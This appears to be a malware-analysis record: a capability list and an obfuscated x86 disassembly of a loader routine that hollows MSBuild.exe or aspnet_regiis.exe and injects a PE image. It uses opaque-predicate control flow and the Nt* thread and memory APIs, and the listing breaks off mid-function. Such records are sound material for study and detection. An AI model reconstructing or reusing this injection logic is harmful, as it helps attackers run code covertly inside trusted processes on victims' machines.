Function at 0x100040f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x12c
mov eax, dword [0x10074e04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
add edx, 0x46ee3991
sub edx, 1
sub edx, 0x46ee3991
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x12e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x12d], al
mov dword [ebp - 0x134], 0xf15edc0d
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x138], eax
sub eax, 0x80342ca3
je 0x1000775f
jmp 0x1000416b
mov eax, dword [ebp - 0x138]
sub eax, 0x83d5af69
je 0x100077d9
jmp 0x10004181
mov eax, dword [ebp - 0x138]
sub eax, 0x83f6ebd5
je 0x1000598a
jmp 0x10004197
mov eax, dword [ebp - 0x138]
sub eax, 0x88f69fc6
je 0x10005daa
jmp 0x100041ad
mov eax, dword [ebp - 0x138]
sub eax, 0x8a75daf2
je 0x1000548d
jmp 0x100041c3
mov eax, dword [ebp - 0x138]
sub eax, 0x8a802ed2
je 0x10005f5c
jmp 0x100041d9
mov eax, dword [ebp - 0x138]
sub eax, 0x8b818ac5
je 0x1000544e
jmp 0x100041ef
mov eax, dword [ebp - 0x138]
sub eax, 0x8c1464ff
je 0x10005eb8
jmp 0x10004205
mov eax, dword [ebp - 0x138]
sub eax, 0x8ca83062
je 0x10007842
jmp 0x1000421b
mov eax, dword [ebp - 0x138]
sub eax, 0x8da60793
je 0x100060e4
jmp 0x10004231
mov eax, dword [ebp - 0x138]
sub eax, 0x8dfdfbb6
je 0x10006421
jmp 0x10004247
mov eax, dword [ebp - 0x138]
sub eax, 0x903f7487
je 0x100067a9
jmp 0x1000425d
mov eax, dword [ebp - 0x138]
sub eax, 0x91b08756
je 0x100053d9
jmp 0x10004273
mov eax, dword [ebp - 0x138]
sub eax, 0x91e6f3db
je 0x10006555
jmp 0x10004289
mov eax, dword [ebp - 0x138]
sub eax, 0x92eacec8
je 0x100063b4
jmp 0x1000429f
mov eax, dword [ebp - 0x138]
sub eax, 0x96d25c4e
je 0x100069e2
jmp 0x100042b5
mov eax, dword [ebp - 0x138]
sub eax, 0x9958cfb8
je 0x10005057
jmp 0x100042cb
mov eax, dword [ebp - 0x138]
sub eax, 0x99938fdb
je 0x1000526b
jmp 0x100042e1
mov eax, dword [ebp - 0x138]
sub eax, 0x9ad162d1
je 0x10006144
jmp 0x100042f7
mov eax, dword [ebp - 0x138]
sub eax, 0x9ae2d55b
je 0x100068d0
jmp 0x1000430d
mov eax, dword [ebp - 0x138]
sub eax, 0x9c112c96
je 0x1000667e
jmp 0x10004323
mov eax, dword [ebp - 0x138]
sub eax, 0x9cbfaafd
je 0x10005bcd
jmp 0x10004339
mov eax, dword [ebp - 0x138]
sub eax, 0xa0d313b5
je 0x10004f84
jmp 0x1000434f
mov eax, dword [ebp - 0x138]
sub eax, 0xa1e2fa2c
je 0x10006760
jmp 0x10004365
mov eax, dword [ebp - 0x138]
sub eax, 0xa4e939f6
je 0x100050dc
jmp 0x1000437b
mov eax, dword [ebp - 0x138]
sub eax, 0xa7b74813
je 0x10006ed8
jmp 0x10004391
mov eax, dword [ebp - 0x138]
sub eax, 0xa932101d
je 0x10007219
jmp 0x100043a7
mov eax, dword [ebp - 0x138]
sub eax, 0xaa473223
je 0x10006412
jmp 0x100043bd
mov eax, dword [ebp - 0x138]
sub eax, 0xae89553d
je 0x10006b6d
jmp 0x100043d3
mov eax, dword [ebp - 0x138]
sub eax, 0xaf28831c
je 0x10005288
jmp 0x100043e9
mov eax, dword [ebp - 0x138]
sub eax, 0xaf501d93
je 0x10005ac1
jmp 0x100043ff
mov eax, dword [ebp - 0x138]
sub eax, 0xb03e1bdb
je 0x100056e6
jmp 0x10004415
mov eax, dword [ebp - 0x138]
sub eax, 0xb0947baa
je 0x10006580
jmp 0x1000442b
mov eax, dword [ebp - 0x138]
sub eax, 0xb2aa3d9d
je 0x10006057
jmp 0x10004441
mov eax, dword [ebp - 0x138]
sub eax, 0xb5f75c00
je 0x10005e16
jmp 0x10004457
mov eax, dword [ebp - 0x138]
sub eax, 0xb721e8a3
je 0x10006b1b
jmp 0x1000446d
mov eax, dword [ebp - 0x138]
sub eax, 0xbd27995b
je 0x10007575
jmp 0x10004483
mov eax, dword [ebp - 0x138]
sub eax, 0xbd39c114
je 0x10006066
jmp 0x10004499
mov eax, dword [ebp - 0x138]
sub eax, 0xbdf3100b
je 0x1000755a
jmp 0x100044af
mov eax, dword [ebp - 0x138]
sub eax, 0xbf6c9a03
je 0x100076ca
jmp 0x100044c5
mov eax, dword [ebp - 0x138]
sub eax, 0xc12206cc
je 0x10007815
jmp 0x100044db
mov eax, dword [ebp - 0x138]
sub eax, 0xc8e52640
je 0x1000669c
jmp 0x100044f1
mov eax, dword [ebp - 0x138]
sub eax, 0xca078e79
je 0x1000754b
jmp 0x10004507
mov eax, dword [ebp - 0x138]
sub eax, 0xca7a5199
je 0x100077a9
jmp 0x1000451d
mov eax, dword [ebp - 0x138]
sub eax, 0xcb97cdbf
je 0x10006e26
jmp 0x10004533
mov eax, dword [ebp - 0x138]
sub eax, 0xccd04810
je 0x10006cef
jmp 0x10004549
mov eax, dword [ebp - 0x138]
sub eax, 0xce48fa2a
je 0x100065f6
jmp 0x1000455f
mov eax, dword [ebp - 0x138]
sub eax, 0xd0e20f2e
je 0x10006b48
jmp 0x10004575
mov eax, dword [ebp - 0x138]
sub eax, 0xd136d666
je 0x1000711c
jmp 0x1000458b
mov eax, dword [ebp - 0x138]
sub eax, 0xd3644621
je 0x100074fa
jmp 0x100045a1
mov eax, dword [ebp - 0x138]
sub eax, 0xd532cdb0
je 0x1000768d
jmp 0x100045b7
mov eax, dword [ebp - 0x138]
sub eax, 0xd544e807
je 0x100054aa
jmp 0x100045cd
mov eax, dword [ebp - 0x138]
sub eax, 0xd572efd1
je 0x10006093
jmp 0x100045e3
mov eax, dword [ebp - 0x138]
sub eax, 0xd7ad1d4f
je 0x10007454
jmp 0x100045f9
mov eax, dword [ebp - 0x138]
sub eax, 0xd7df5c02
je 0x1000695d
jmp 0x1000460f
mov eax, dword [ebp - 0x138]
sub eax, 0xd9fb332d
je 0x100053ca
jmp 0x10004625
mov eax, dword [ebp - 0x138]
sub eax, 0xdbf7eba5
je 0x10006281
jmp 0x1000463b
mov eax, dword [ebp - 0x138]
sub eax, 0xdc346268
je 0x10006f29
jmp 0x10004651
mov eax, dword [ebp - 0x138]
sub eax, 0xde73755f
je 0x1000720a
jmp 0x10004667
mov eax, dword [ebp - 0x138]
sub eax, 0xde7771b5
je 0x10007299
jmp 0x1000467d
mov eax, dword [ebp - 0x138]
sub eax, 0xdfeba35d
je 0x10007192
jmp 0x10004693
mov eax, dword [ebp - 0x138]
sub eax, 0xe01a8736
je 0x100071fb
jmp 0x100046a9
mov eax, dword [ebp - 0x138]
sub eax, 0xe256b172
je 0x10006f85
jmp 0x100046bf
mov eax, dword [ebp - 0x138]
sub eax, 0xe362f1f7
je 0x100074ca
jmp 0x100046d5
mov eax, dword [ebp - 0x138]
sub eax, 0xe3ab114b
je 0x100077c4
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x11c], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
sub edx, 0x166f3fbc
sub edx, 1
add edx, 0x166f3fbc
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ca5a95a
mov ecx, 0x9958cfb8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0x15184d3f
jmp 0x1000784c
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62402146
mov ecx, 0xf7461439
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x134], 0xaf28831c
jmp 0x1000784c
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xb4]
sub eax, 0x64afa3d2
add eax, ecx
add eax, 0x64afa3d2
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x134], 0x253db1aa
jmp 0x1000784c
mov dword [ebp - 0x134], 0x91b08756
jmp 0x1000784c
mov eax, dword [ebp - 0x11c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10008a20
add esp, 0xc
mov eax, dword [ebp - 0x118]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10008a20
add esp, 0xc
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0xa9], al
mov dword [ebp - 0x134], 0x8b818ac5
jmp 0x1000784c
mov eax, dword [ebp - 0x114]
mov cl, byte [ebp - 0xa9]
mov byte [eax], cl
mov eax, dword [ebp - 0x110]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dl, byte [eax]
mov eax, 0x8a75daf2
mov ecx, 0x3861a9e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0x110]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x134], 0xd544e807
jmp 0x1000784c
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
sub edx, 0x4d5645ee
sub edx, 1
add edx, 0x4d5645ee
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xca078e79
mov ecx, 0xeb555da8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov edx, eax
mov eax, 0xde73755f
mov ecx, 0x4ad5466f
cmp edx, 0
cmovge eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf6c26296
mov ecx, 0x35ebfe57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x134], 0xed14ca2e
jmp 0x1000784c
mov dword [ebp - 0x134], 0x6c221e3
jmp 0x1000784c
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
sub eax, 0x89886c83
add eax, 1
add eax, 0x89886c83
mov dword [ebp - 0x88], eax
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
add edx, 0x973fea98
sub edx, 1
sub edx, 0x973fea98
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x59a23997
mov ecx, 0xb5f75c00
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0x4b1f8863
jmp 0x1000784c
mov eax, dword [ebp - 0xf0]
mov dword [eax], 0
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov dword [eax], 0
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
sub edx, 0xa4d02988
sub edx, 1
add edx, 0xa4d02988
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd532cdb0
mov ecx, 0x8a802ed2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0xf231b139
jmp 0x1000784c
mov dword [ebp - 0x134], 0xbd39c114
jmp 0x1000784c
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0x80], ax
mov dword [ebp - 0x134], 0xd572efd1
jmp 0x1000784c
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
sub edx, 0x102e5606
sub edx, 1
add edx, 0x102e5606
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5139f2ce
mov ecx, 0x8da60793
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov ax, word [ebp - 0x80]
movzx ecx, ax
mov eax, dword [ebp - 0x84]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5139f2ce
mov ecx, 0x9ad162d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dl, byte [ebp - 0x7d]
mov eax, 0x33c31cc4
mov ecx, 0x6e2890cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x134], 0xe904b61d
jmp 0x1000784c
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x6c]
add ecx, eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x80cab549
sub eax, edx
sub eax, 0x80cab549
add ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0xaa473223
jmp 0x1000784c
mov dword [ebp - 0x134], 0x8dfdfbb6
jmp 0x1000784c
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
sub edx, 0xb6c080da
sub edx, 1
add edx, 0xb6c080da
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x12bee151
mov ecx, 0xfc36b6c9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x1c
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x134], 0xb0947baa
jmp 0x1000784c
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
add edx, 0x5248cfcf
sub edx, 1
sub edx, 0x5248cfcf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5992c540
mov ecx, 0xce48fa2a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x64]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x5a], al
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
sub edx, 0x29b54845
sub edx, 1
add edx, 0x29b54845
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5992c540
mov ecx, 0x9c112c96
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dl, byte [ebp - 0x5a]
mov eax, 0x5b73865f
mov ecx, 0xc8e52640
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1fea896
mov ecx, 0x6c2bab0e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80342ca3
mov ecx, 0x903f7487
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
add edx, 0x290c596d
sub edx, 1
sub edx, 0x290c596d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x80342ca3
mov ecx, 0x7f80d790
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0x58]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dword [eax], 0
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
add edx, 0x915f1a54
sub edx, 1
sub edx, 0x915f1a54
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5ea5d9e4
mov ecx, 0xd7df5c02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0x4e867a44
jmp 0x1000784c
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x49], al
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf5a1c37c
mov ecx, 0x210c569e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0xe811586c
jmp 0x1000784c
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x134], 0xae89553d
jmp 0x1000784c
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
sub ecx, 0xc4624f47
add ecx, eax
add ecx, 0xc4624f47
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xd4]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0x6a607438
or eax, esi
or edx, 0x6a607438
xor eax, 0xffffffff
and eax, edx
add ecx, 0x874c08f6
add ecx, eax
sub ecx, 0x874c08f6
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
mov eax, dword [ebp - 0xcc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
mov edx, eax
mov eax, 0x1b44dd2c
mov ecx, 0xefacea26
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
mov dword [ebp - 0x134], 0x4e867a44
jmp 0x1000784c
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x11c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x108]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x124]
mov edx, dword [eax]
mov eax, 0x793546b
mov ecx, 0x6d1951c0
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
add edx, 0xf1071eff
sub edx, 1
sub edx, 0xf1071eff
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83d5af69
mov ecx, 0xdc346268
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
cmp dword [eax], 0
setne al
and al, 1
mov byte [ebp - 0x21], al
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x83d5af69
mov ecx, 0xe256b172
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0x75ea472c
jmp 0x1000784c
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
add edx, 0xfcf89b3e
sub edx, 1
sub edx, 0xfcf89b3e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1bc95f8c
mov ecx, 0xdfeba35d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov eax, dword [ebp - 0x18]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
add edx, 0x9b24ae96
sub edx, 1
sub edx, 0x9b24ae96
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1bc95f8c
mov ecx, 0xe01a8736
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov dword [ebp - 0x134], 0xde73755f
jmp 0x1000784c
mov dword [ebp - 0x134], 0xa932101d
jmp 0x1000784c
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x134], 0x445559c3
jmp 0x1000784c
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x10076098]
mov ecx, dword [0x10076094]
mov edx, eax
sub edx, 0x8f1f3a3d
sub edx, 1
add edx, 0x8f1f3a3d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc12206cc
mov ecx, 0x30e9d780
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov ecx, dword [0x10076098]
mov eax, dword [0x10076094]
mov edx, ecx
sub edx, 0x482172aa
sub edx, 1
add edx, 0x482172aa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8ca83062
mov ecx, 0xe362f1f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x134], eax
jmp 0x1000784c
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007df0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x120]
